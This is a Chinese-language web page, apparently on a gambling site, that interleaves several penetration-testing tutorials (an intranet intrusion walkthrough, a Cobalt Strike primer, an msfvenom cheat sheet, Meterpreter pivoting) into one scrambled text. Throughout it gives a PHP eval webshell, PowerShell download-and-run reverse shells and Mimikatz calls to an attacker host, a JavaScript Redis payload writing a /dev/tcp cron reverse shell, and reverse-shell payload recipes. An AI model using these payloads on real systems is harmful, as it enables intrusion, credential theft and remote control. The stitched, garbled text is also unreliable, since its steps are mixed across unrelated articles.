当前位置:99696大富豪棋牌 > 最新资讯 > 4)SK有一块网卡,非常适合团队间协同作战

4)SK有一块网卡,非常适合团队间协同作战

文章作者:最新资讯 上传时间:2019-10-03

原标题:cobalt strike 快速上手 [ 一 ]

转自:https://thief.one/2017/08/01/1/?hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io

拓扑设计

99696大富豪棋牌 1

 

0x01 关于 Cobalt Strike

今天玩了一把内网渗透,其中主要用到了 metasploit 这款内网渗透神器。metasploit大家肯定不陌生,我也在很早之前就有接触过,但每次重新使用它时都会遗忘一些用法,因此为了方便查询我在本篇记录下metasploit神器的一些常用命令,以及内网渗透中如何使用它。
Mac下安装metasploit
mac下安装metasploit比较简单,官网下载pkg安装包,直接安装即可;需要注意的是安装完成后的路径。msfconsole路径:
1

99696大富豪棋牌 2

拓扑介绍

其中192.168.1.0/24模拟的是公网的环境

172.21.132.0/24模拟的是企业内网的环境

边界web服务器双网卡(公网的:192.168.1.110,和内网的172.21.132.110),而且为了最基本的安全保障,web边界服务器设置了防火墙,此防火墙对外网只开放80,81,443端口,对内网开放所有端口,上面还装有杀毒软件。

内网还布置若干台web服务器,一台旁路告警设备(ips),他们都可以连接到外网,但是外网访问不到内部的任何web服务器

其中web服务器(linux)(172.21.132.113)前面放置防火墙,不可以被内网的其他web服务器访问到,但是它可以访问到内网的其他服务器,并且能够连接到外网。这套环境里面的192.168.1.108是黑客的kali攻击机,192.168.1.212是黑客的windows攻击机

科普下nishang和PowerSploit

1、Nishang是基于PowerShell的渗透测试专用工具。集成了框架、脚本和各种payload。这些脚本是由Nishang的作者在真实渗透测试过程中有感而发编写的,具有实战价值。包括了下载和执行、键盘记录、dns、延时命令等脚本

2、PowerSploit是又一款Post Exploitation 相关工具,Post Exploitation是老外渗透测试标准里面的东西,就是获取shell之后干的一些事情。PowerSploit 其实就是一些powershell 脚本,包括Inject-Dll(注入dll 到指定进程 )、Inject-Shellcode(注入shellcode到执行进程)、 Encrypt- Script(文本或脚本加密)、Get-GPPPassword(通过groups.xml 获取明文密码)、 Invoke- ReverseDnsLookup(扫描DNS PTR记录)

一款非常优秀的后渗透平台 [ 谁用谁知道,嘿嘿……说不好用的唯一原因,可能就是很多用法还没有被自己挖掘出来,因为不会用,所以,才会感觉不好用 ]

/opt/metasploit-framework/bin

一、About

渗透开始

 

首先边界web服务器上fastcgi配置错误,导致服务器被getshell 因为网上的菜刀好多都有后门,所以我用开源的CKnife(介绍地址:跨平台版中国菜刀Cknife发布项目地址: Cknife的github) 因为服务器上有杀毒软件所以要把一句话木马做一下转换绕过思路参考:打狗棒法之进阶篇:Cknife修改配置法秒过安全狗

 

我用的服务器端木马内容

<?php    

eval('$ms509 ='.$_POST['Cknife']);

eval($ms509);

?>

 

替换Config.ini的PHP_MAKE为

 

base64_decode($_POST['action']);

 

99696大富豪棋牌 3

连接方式

99696大富豪棋牌 4

拿到webshell之后,首先用systeminfo来查看系统信息

 

99696大富豪棋牌 5

首先可以看到这个是一台win2008 r2 64位系统,而且没有打任何系统补丁所以我可以从上面反弹一个powershell出来进行进一步的渗透首先把nishang git clone到自己的web目录下面,然后在shell目录下找到Invoke-PowerShellTcp.ps1,我为了方便把Invoke-PowerShellTcp.ps1复制到了web的根目录,我先在自己的机子上用nc监听8888端口,然后执行

powershell IEX(New-ObjectNet.WebClient).DownloadString(‘http://192.168.108/Invoke-PowerShellTcp.ps1‘);Invoke-PowerShellTcp-Reverse -IPAddress 192.168.1.108 -port 8888

在nc上得到一个反弹出来的powershell99696大富豪棋牌 6

查看权限发现权限比较低只是:iis apppool所以我需要提高一下权限一般的做法是要上传一个内核溢出的exp,一般都是上传一个exe,但是我在这里选择直接从远处加载一个exe到受害主机内存中,并且让他执行起来,详细的我会在《有趣的渗透(番外篇)》中详细的说明,我先把下载到我的web目录下面,再把用到的提权exp(ms1564.exe)放到web根目录下面然后在反弹的shell里面运行

IEX(New-ObjectNet.WebClient).DownloadString('http://192.168.108/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection-PEUrl
 http://192.168.1.108/ms1564.exe -ExeArgs "cmd" -ForceASLR

这样再执行whoami看权限的话就可以看到是 nt authority。

99696大富豪棋牌 7

 

(Ps:这里面有个坑,这个ms15051的exp是随便从一个网上下载下来的,没有经过改造,所以当执行的指令参数有空格的时候,他就没有任何反应,也没有任何回显,后来经过我不断的尝试,执行cmd的时候就可以把shell的权限提了,很不错,但是如果你执行powershell这个指令的话,那么这个反弹的shell就会假死)这个时候在本机搜集一下信息:首先用mimikatz来脱出登陆过得密码:

IEX (New-ObjectNet.WebClient).DownloadString('http://192.168.1.108/Invoke-Mimikatz.ps1');Invoke-Mimikatz

99696大富豪棋牌 8

查看arp的列表

99696大富豪棋牌 9

 

 

看到好多机子集中在172.21.132.100-120这个网段我调用poershell扫一下

 

端口扫描的脚本从这里下载:https://github.com/samratashok/nishang/blob/master/Scan/Invoke-PortScan.ps1

 

扫描:

IEX (New-ObjectNet.WebClient).DownloadString('http://192.168.1.108/Invoke-PortScan.ps1');Invoke-PortScan-StartAddress 172.21.132.0 -EndAddress 172.21.132.254 -ResolveHost -ScanPort

99696大富豪棋牌 10

这个时候我用利用powershell反弹一个meterpreter 利用powersploit框架,由于一些奇怪的原因,作者把框架中支持msf的部分去掉了,但是经过的我的查找,在作者提交的历史记录里面找到了最后一版支持msf的部分:地址是:

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/12ce71b9f4b0428d9425e001e5988f91eb2b8b87/CodeExecution/Invoke–Shellcode.ps1

如果git clone新版本的PowerSploit你要用老版本的CodeExecution/Invoke–Shellcode.ps1替换掉新版本的文件使用方法还是先把脚本下载到黑客自己的web目录下,我为了方便,我写了一个调用脚本放在web目录下(1.ps1)

IEX(New-ObjectNet.WebClient).DownloadString('http://192.168.1.108/CodeExecution/Invoke-Shellcode.ps1')
Invoke-Shellcode -payloadwindows/meterpreter/reverse_https -lhost 192.168.1.108 -lport 4444 -force

先把msf打开,然后设置payload为windows/meterpreter/reverse_https,并且监听在4444端口:

msf > useexploit/multi/handler
msf exploit(handler) > set payloadwindows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf exploit(handler) > run

然后在powershell反弹的shell中调用

IEX (New-ObjectNet.WebClient).DownloadString(‘‘)

成功拿到meterpreter,但是注意:这个meterpreter执行shell是不能得到交互式的cmd ,因为刚才用exp把反弹的powershell变成了system的权限,所以再反弹出来的meterpreter也是system权限

这个时候可以 meterpreter查看路由: runget_local_subnets

meterpreter 寻找putty保存的信息 run enum_putty

meterpreter 寻找ie保存的密码 run post/windows/gather/enum_ie

本地信息搜集差不多了,可以把meterpreter放入后台: background

然后添加路由(这样才能进行内网的扫描): route add 172.21.132.0 255.255.255.0 1 route add的第一个参数是地址,第二个参数地址是掩码,第三个参数是sessis的id

进行内网的主机扫描:利用smb进行主机识别: use auxiliary/scanner/smb/smb_version

99696大富豪棋牌 11

利用刚才找到的管理员密码在内网里面碰撞一下,看看多少主机用的是同样的密码 用的是:use auxiliary/scanner/smb/smb_login

99696大富豪棋牌 12

 

可以看到内网里面的大部分机子都是用的一个密码

 

下面我要用socks代理进入到内网里面获取一些信息

 

有三种选择:首先msf提供了一种socks4a的代理,浏览器可以用这个代理进入到内网,但是burp不能用socks4a的代理第二:可以用reGeorgSocksProxy.py的socks5进入到内网里面第三:可以用特殊处理过得xsocks.exe,通过powershell远程加载到内存里面运行之后得到socks5的代理

 

因为这是60字节webshell的杂技,所以我用第三种方法进入到内网:

 

首先在黑客的web里面放入特殊处理的xsocks.exe,然后用poweshell加载

IEX (New-ObjectNet.WebClient).DownloadString('http://192.168.1.108/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection-PEUrl http://192.168.1.108/xsocks.exe -ExeArgs "-l 443" -ForceASLR

然后burp这样设置:

99696大富豪棋牌 13

 

火狐中这样设置

 

99696大富豪棋牌 14

就可以实现这样的效果了

99696大富豪棋牌 15

看一下效果:

99696大富豪棋牌 16

把流量拦截下来repeater也可以

99696大富豪棋牌 17

* 普及一下redis未授权的知识 详细的文章可以看redis未授权访问总结 而redis的csrf漏洞的产生原因是:就是当向redis发送无效指令时,redis自身协议不会终止tcp链接。同时redis只会执行body里的有效指令,而不会关心http header里的内容。

* 科普一下csrf的攻击:CSRF:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF,简单来说攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账……造成的问题包括:个人隐私泄露以及财产安全。常见的经典csrf的案例是通过csrf修改你家路由器的dns配置,从而达到非法获利的目的,可以参考文章TP-link TL-WR840N系列路由器存在CSRF漏洞,可修改任意配置(含POC测试过程)

 

经过内网探测,发现172.21.132.113开放6379端口,但是通过代理无法连接到后来发现在172.21.132.117:83/xss/add.php发现一个留言板

99696大富豪棋牌 18

 

 

所以根据这个文章:Client-SideRedis Attack Proof of Concept我做了一个可以利用redis未授权访问得到反弹shell的js:

      var cmd = new XMLHttpRequest();
     cmd.open("POST", "http://127.0.0.1:6379");
     cmd.send('flushallrn');
     
      var cmd =new XMLHttpRequest();
     cmd.open("POST", "http://127.0.0.1:6379");
     cmd.send('eval '' + 'redis.call("set","1","\n\n*/1 * * * * /bin/bash -i >&/dev/tcp/192.168.1.108/5566 0>&1\n\n");redis.call("config", "set", "dir","/var/spool/cron/"); redis.call("config","set", "dbfilename", "root");' + '' 0' +"rn");

      var cmd =new XMLHttpRequest();
     cmd.open("POST", "http://127.0.0.1:6379");
      cmd.send('savern');

 

把他放在自己的web目录下,然后在留言板写入:

 

<script src=http://192.168.1.108/redis.js></script>

在本机监听用nc监听5566端口,只要有装redis 的那台机子的管理员查看留言板的话就会弹出一个shell给我的主机

99696大富豪棋牌 19

可以看到这个已经反弹的处理的shell是root权限

 

至此,整个内网已经被完全渗透

 

工具基于java,大部分功能在改进的基础上还是相对比较实用的,非常适合团队间协同作战

该目录下还有其他几个常用的工具:

内网机器如下:

最后的tips

 

我在上面介绍用:poweshell加载外部的exe进入内存执行,从而不在受害主机里面留下任何痕迹,而且也可以绕过国内主流杀软的查杀这个想法的实现根据这个文章:PowerPwning:Post-Exploiting ByOverpowering PowerShell还有 Powershelltricks::Code Execution & Process Injection

要是实现这个前提条件是:

1.你要有源码

2.源码必须是c++编写,c#编写的一律崩溃

3.编译的时候建议用vs2010+winxp编译

4.在win上不能用gcc去编译

5.编译采用/MT 或者/MTd

99696大富豪棋牌 20

 

6.如果要传递参数的话把int main(int argc char **argv)改成

int main()
{
    LPWSTR*szArglist;
    int nArgs;
    int i;
    szArglist =CommandLineToArgvW(GetCommandLineW(), &nArgs);
    if( NULL ==szArglist )
    {
       wprintf(L"CommandLineToArgvW failedn");
        return0;
    }
   
}
……………………

 

7.代码中不能有写文件的操作

下面是集中渗透软件编译过程

我以提权工具ms15-051的代码做实验(代码的源码),添加传递参数的代码后 里面有几个字符转换的问题,可以自己解决一下,本人 生成好了以后看看效果 首先把生成好的ms15-051.exe上传到自己的web服务器。

先下载到本地看看什么效果

99696大富豪棋牌 21

然后用编译好的ms15-051.exe用powershell加载一下

99696大富豪棋牌 22

更多详情请自行参考官网,这里就不啰嗦了,以下全部简称'cs'

99696大富豪棋牌 23

99696大富豪棋牌 24

0x02 基础环境简介:

说明:

kali 实际控制端 ip:192.168.1.144

msf的插件路径:
1

1)Attacker为攻击者,有一个网卡,网段为172.16.0.0,Attacker系统为kali系统

ubuntu 16.04 自己公网的vps ip:53.3.3.6

/opt/metasploit-framework/embedded/framework/modules/exploits

2)RD为第一个已经渗透的目标,有两块网卡,对应172.16.0.0和7.7.7.0两个网段

win2008R2 目标机器 ip:192.168.1.191

msfvenom
作用:生成木马文件,替代早期版本的msfpayload和msfencoder。
Options
msfvenom命令行选项如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

3)JC有两块网卡,对应7.7.7.0和8.8.8.0两个网段,JC有ms08-067和efs bof两个漏洞,可getshell

centos6.9 已控肉鸡 ip:192.168.1.199

-p, --payload <payload> 指定需要使用的payload(攻击荷载)
-l, --list [module_type] 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch <architecture> 指定payload的目标架构
--platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集,比如: 'x00xff'
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out <path> 保存payload
-v, --var-name <name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表

4)SK有一块网卡,对应8.8.8.0网段,SK有vsftpd的漏洞,可getshell

win7cn 另一台肉鸡 ip:192.168.1.123

options usage
查看支持的payload列表:
1

5)起初Attacker只拿到RD的msf的shell,对于目标内网情况一无所知,也不知道存在7.7.7.0和8.8.8.0这两个隐藏的网段

0x03 先来快速预览cs最基本的一些模块具体用途:

msfvenom -l payloads

6)目标是准备通过RD来渗透内网中7.7.7.0和8.8.8.0两个隐藏的网段

团队服务器[teamserver]

查看支持的输出文件类型:
1

二、Step1

主要是为了方便一个渗透团队内部能够及时共享所有成员的所有渗透信息,加强成员间的交流协作,以此提高渗透效率

msfvenom --help-formats

Attacker在RD上通过webshell运行了一个reverse类型的后门,然后操作如下:

也就是说,正常情况下一个团队只需要起一个团队服务器即可,团队中的所有成员只需要拿着自己的cs客户端登录到团体服务器就能轻松实现协同作战

查看支持的编码方式:(为了达到免杀的效果)
1

msf > use exploit/multi/handler  msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 172.16.0.20  LHOST => 172.16.0.20msf exploit(handler) > set LPORT 1234 LPORT => 1234msf exploit(handler) > run [*] Started reverse TCP handler on 172.16.0.20:1234  [*] Starting the payload handler... [*] Sending stage (957487 bytes) to 172.16.0.11 [*] Meterpreter session 2 opened (172.16.0.20:1234 -> 172.16.0.11:49162)meterpreter > ifconfig Interface  1============ Name         : Software Loopback Interface 1Hardware MAC : 00:00:00:00:00:00MTU          : 4294967295IPv4 Address : 127.0.0.1IPv4 Netmask : 255.0.0.0IPv6 Address : ::1IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff Interface 11============ Name         : Intel(R) PRO/1000 MT Desktop Adapter Hardware MAC : 08:00:27:e1:3f:af MTU          : 1500IPv4 Address : 172.16.0.11IPv4 Netmask : 255.255.255.0Interface 19============ Name         : Intel(R) PRO/1000 MT Desktop Adapter #2Hardware MAC : 08:00:27:7f:3c:fe MTU          : 1500IPv4 Address : 7.7.7.11IPv4 Netmask : 255.255.255.0 

当然,实际中可能为了尽可能久的维持住目标机器权限,还会习惯性的多开几个团队服务器,防止出现意外情况

msfvenom -l encoders

三、Step2

另外,团体服务器最好运行在linux平台上[本次演示所用的团队服务器系统为ubuntu 16.04]

查看支持的空字段模块:(为了达到免杀的效果)
1

发现RD有两块网卡后,想办法渗透另一个网段7.7.7.0,首先要添加路由[不添加路由也可以直接用meterpreter shell中的模块访问 到7.7.7.x网段,添加路由的目的是为了使得msf模块可以访问到7.7.7.x网段],meterpreter shell可以访问到7.7.7.x网段,msf 中的模块不能访问到7.7.7.x网段,msf中的模块所处的ip是攻击者的ip,meterpreter shell所处的ip是RD的ip.在meterpreter中 添加路由的目的是为了给msf模块作代理,也即给Attacker作代理,但是只能给Attacker的msf模块作代理,要想给Attacker的其他 应用程序作代理,则需要在meterpreter添加路由后再运行msf的开启sock4的模块,然后再用proxychains来设置Attacker的其他 应用程序的代理为msf的开启sock4代理模块中设置的代理入口。

# ./teamserver 团队服务器ip 设置一个团队服务器密码[别人要用这个密码才能连进来] 配置文件[一般默认即可] [YYYY-MM-DD]

msfvenom -l nops

操作如下:

# ./teamserver 53.3.3.6 klion

基础payload
命令格式
1

meterpreter > run autoroute -s 7.7.7.0/24[*] Adding a route to 7.7.7.0/255.255.255.0... [+] Added route to 7.7.7.0/255.255.255.0 via 172.16.0.11[*] Use the -p option to list all active routes meterpreter > run autoroute -p Active Routing Table ====================  Subnet Netmask Gateway  ------ ------- ------- 7.7.7.0 255.255.255.0 Session 2meterpreter > 

99696大富豪棋牌 25

msfvenom -p <payload> <payload options> -f <format> -o <path>

然后开始扫描7.7.7.0网段,操作如下:

客户端[cobaltstrike]

Linux
1
2
3
4

meterpreter > run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24[*] Running module against DISCORDIA [*] ARP Scanning 7.7.7.0/24[*]     IP: 7.7.7.11 MAC 08:00:27:7f:3c:fe (CADMUS COMPUTER SYSTEMS) [*]     IP  7.7.7.12 MAC 08:00:27:3a:b2:c1 (CADMUS CIMPUTER SYSTEMS) [*]     IP: 7.7.7.20 MAC 08:00:27:fa:a0:c5 (CADMUS COMPUTER SYSTEMS) [*]     IP: 7.7.7.255 MAC 08:00:27:3f:2a:b5 (CADMUS COMPUTER SYSTEMS) meterpreter > 

为了更好的说明效果,此处就分别模拟两个不同的客户端同时登陆到同一台团队服务器中,首先,先在本机运行客户端尝试登陆到团队器,客户端启动以后会提示你输入团队服务器的ip,端口和密码,用户名可随意

反向连接:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
正向连接:
msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=<Target IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

arp_scanner不太够用,不能扫到端口信息[此时也可用msf自带的其他可以扫描端口的模块如auxiliary/scanner/portscan/tcp来扫 描,因为前面添加了路由,使得msf中的模块可以用meterpreter作为代理访问到7.7.7.x网段],于是用Attacker本机的nmap来扫[可以 更完全的扫描,nmap应该比msf中的扫描模块强大],首先在RD上开sockets4代理,然后用proxychains设置nmap的代理为msf模块开 启的Attacker的1080端口提供的代理,操作如下:

# ./cobaltstrike

Windows
1

meterpreter > background  [*] Backgrounding session 2... msf > use auxiliary/server/socks4a  msf auxiliary(socks4a) > show options  Module options (auxiliary/server/socks4a):    Name     Current Setting  Required  Description    ----     ---------------  --------  -----------    SRVHOST  0.0.0.0          yes       The address to listen on    SRVPORT  1080             yes       The port to listen on. Auxiliary action:    Name   Description    ----   -----------    Proxy   msf auxiliary(socks4a) > set srvhost 172.16.0.20 srvhost => 172.16.0.20msf auxiliary(socks4a) > run [*] Auxiliary module execution completed [*] Starting the socks4a proxy server msf auxiliary(socks4a) > netstat -antp | grep 1080 [*] exec: netstat -antp | grep 1080 tcp        0      172.16.0.20:1080            0.0.0.0:*               LISTEN      3626/ruby        msf auxiliary(socks4a) > 

99696大富豪棋牌 26

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

proxychains设置/etc/proxychains.conf如下:

接着,再到另一台kali机器上打开客户端登陆登录到同一团队服务器,最终实现的效果如下,团队成员可以通过event相互沟通,也可通过event清晰看到团队中的其它成员在什么时间都干了些什么,非常详细直观:

Mac
1
2

[ProxyList]# add proxy here ...# meanwile# defaults set to "tor"#socks4  127.0.0.1 9050socks4  172.16.0.20 1080 

# ./cobaltstrike

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
Web Payloads

nmap扫描如下:

99696大富豪棋牌 27

PHP
1
2

root@kali:~# proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms08-067.nse 7.7.7.20ProxyChains-3.1 (http://proxychains.sf.net)Starting Nmap 7.25BETA1 ( https://nmap.org )|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:80-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK Nmap scan report for 7.7.7.20Host is up (0.17s latency). PORT     STATE    SERVICE      VERSION 22/tcp   open     ssh          Bitvise WinSSHD 7.16 (FlowSsh 7.15; protocol 2.0)80/tcp   closed   http         Easy File Sharing Web Server httpd 6.9 135/tcp  open     msrpc        Microsoft Windows RPC 139/tcp  open     netbios-ssn  Microsoft Windows netbios-ssn 445/tcp  open     microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003 Host script results: | smb-vuln-ms08-067:  |   VULNERABLE: |   Microsoft Windows system vulnerable to remote code execution (MS08-067)|     State: VULNERABLE |     IDs: CVE:CVE-2008-4250 |          The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,  |          Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary  |          code via a crafted RPC request that triggers the overflow during path canonicalization. |  |     Disclosure date: 2008-10-23 |     References: |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspxService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 12.51 seconds root@kali:~# 

99696大富豪棋牌 28

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >> shell.php

现在发现了7.7.7.20(JC)这台机器端口开放比较多,尝试找出JC的漏洞,操作如下: 首先看看JC的80端口运行了什么cms,但是Attacker的浏览器直接访问 不在同一网段,此处有个要注意的内容:

使用cs的各种监听器

ASP
1

Attention:可以选择使用proxychains设置Attacker的浏览器的代理为Attacker的1080端口的socks4代理入口,也可通过在RD的meterpreter会 话中运行portfwd模块命令,portfwd命令如下:

其实,监听器的作用很简单,主要是为了接受payload回传的各类数据,

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

meterpreter > portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20[*] Local TCP relay created: 172.16.0.20:2323 <-> 7.7.7.20:80meterpreter > meterpreter > portfwd listActive Port Forwards ====================    Index  Local             Remote       Direction    -----  -----             ------       ---------   1      172.16.0.20:2323  7.7.7.20:80  Forward1 total active port forwards. meterpreter > 

比如,我们的payload在目标机器执行以后,会回连到监听器然后下载执行真正的shellcode代码,其实跟msf中handler的作用基本是一致的

JSP
1

通过访问Attacker的2323端口访问JC的80端口,结果如下:

在cs中的监听器有两种,一种是beacon,另一种是foreign

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

99696大富豪棋牌 29

foreign 主要是提供给外部使用的一些监听器,比如你想利用cs派生一个meterpreter的shell回来,来继续后面的内网渗透,这时就选择使用外部监听器

WAR
1
2

这里的portfwd模块不只是名字上的端口转发的意思,目前笔者认为portfwd相当于半个ssh正向代理加一个ssh反向代理组成的综合命令,ssh正向反向代理可参考这里的理解 。ssh正向反向代理理解笔者认为portfwd命令之后Attacker可以通过访问Attacker本身ip的2323端口进而访问到JC的80端口期间发生了3件事。

再来简单演示下,如何快速创建一个监听器,具体过程如下

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.wa
Scripting Payloads

1.RD访问JC的80端口,这里相当于半个ssh正向代理

点击左上角的Cobalt Strike菜单

Python
1

2.RD绑定已经访问到的JC的80端口的数据到Attacker的2323端口,这里相当于一个ssh反向代理,相当于RD有Attacker的ssh权限

-> 选中Listeners

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

3.攻击者的浏览器访问攻击者自己的172.16.0.20:2323

-> 接着点击Add按钮会自动跳出监听器的配置框

Bash
1

portfwd的用法如下:

-> 设置好端口ip [ 实际中最好用域名(走dns隧道) ]和payload类型即可创建,之后,团队服务器会一直监听该端口等待beacon shell回连的数据

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

meterpreter > portfwd -h Usage: portfwd [-h] [add | delete | list | flush] [args] OPTIONS:      -L >opt>  The local host to listen on (optional).      -h        Help banner.      -l >opt>  The local port to listen on.      -p >opt>  The remote port to connect on.      -r >opt>  The remote host to connect on. meterpreter > 

99696大富豪棋牌 30

Perl
1

其中-L只能设置为攻击者的ip,不能设置为肉鸡的ip,-L设置的ip可以是攻击者的内网ip,-r也可以是目标的内网ip,两个内网之 间通过meterpreter会话的"隧道"来连通,如果-L后设置的ip是攻击者的内网ip,-r后设置的是目标机器的内网ip,portfwd通过 meterpreter会话连通两台,-l是指攻击者的监听端口,运行完上面的portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20 命令后,Attacker的2323端口将变成监听状态(也即Attacker会开启2323端口) 这里还要注意route add命令只能是在meterpreter会话中有效,不能系统全局有效,笔者认为route add也是通过meterpreter会 话的"隧道"来实现攻击者能够访问目标机器其他网段机器的,也即在上面的Attacker通过portfwd来实现访问目标机器其他网段 机器而不能因为在portfwd模块运行前由于已经运行了route add模块而由Attacker的浏览器直接访问目标7.7.7.20:80,因为 route add只会给msf的模块提供meterpreter会话通道作为代理服务,只有meterpreter会话下可用的模块可以直接访问7.7.7.x 网段,Attacker的浏览器想直接访问7.7.7.20需要使用proxychins和msf开启的sock4代理.

99696大富豪棋牌 31

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

上面访问得到目标机器JC的80端口信息看出JC运行的是Eash File Sharing Web Server,可用msf中的模块尝试getshell,操作如 下(如果没有在meterpreter中添加路由msf是访问不到7.7.7.20的):

99696大富豪棋牌 32

Linux Based Shellcode
1

msf  > use exploit/windows/http/easyfilesharing_seh  msf exploit(easyfilesharing_seh) > show options  Module options (exploit/windows/http/easyfilesharing_seh):    Name   Current Setting  Required  Description    ----   ---------------  --------  -----------    RHOST                   yes       The target address    RPORT  80               yes       The target port Exploit target:    Id  Name    --  ----    0   Easy File Sharing 7.2 HTTP msf exploit(easyfilesharing_seh) > set rhost 7.7.7.20 rhost => 7.7.7.20msf exploit(easyfilesharing_seh) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(easyfilesharing_seh) > run [*] Started bind handler [*] 7.7.7.20:80 - 7.7.7.20:80 - Sending exploit... [+] 7.7.7.20:80 - Exploit Sent [*] Sending stage (957999 bytes) to 7.7.7.20 [*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444) at 2016-12-26 14:21:11 +0300 

说完监听器,最后,我们再来说payload [99696大富豪棋牌,攻击载荷]

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

或者从JC(7.7.7.20)22端口入手:

说白点儿其实就是个木马下载器,当目标触发payload以后,会自动去下载shellcode[其实就是beacon shell的代码]到目标系统中运行,最后成功弹回目标系统的beacon shell,

Windows Based Shellcode
1

msf > use auxiliary/scanner/ssh/ssh_enumusers  msf auxiliary(ssh_enumusers) > set rhosts 7.7.7.20rhosts => 7.7.7.20msf auxiliary(ssh_enumusers) > set rport 22rport => 22msf auxiliary(ssh_enumusers) > set user_file /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt user_file => /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt msf auxiliary(ssh_enumusers) > run [*] 7.7.7.20:22 - SSH - Checking for false positives [*] 7.7.7.20:22 - SSH - Starting scan [+] 7.7.7.20:22 - SSH - User 'admin' found [-] 7.7.7.20:22 - SSH - User 'root' not found [-] 7.7.7.20:22 - SSH - User 'Administrator' not found [+] 7.7.7.20:22 - SSH - User 'sysadm' found [-] 7.7.7.20:22 - SSH - User 'tech' not found [-] 7.7.7.20:22 - SSH - User 'operator' not found [+] 7.7.7.20:22 - SSH - User 'guest' found [-] 7.7.7.20:22 - SSH - User 'security' not found [-] 7.7.7.20:22 - SSH - User 'debug' not found [+] 7.7.7.20:22 - SSH - User 'manager' found [-] 7.7.7.20:22 - SSH - User 'service' not found [-] 7.7.7.20:22 - SSH - User '!root' not found [+] 7.7.7.20:22 - SSH - User 'user' found [-] 7.7.7.20:22 - SSH - User 'netman' not found [+] 7.7.7.20:22 - 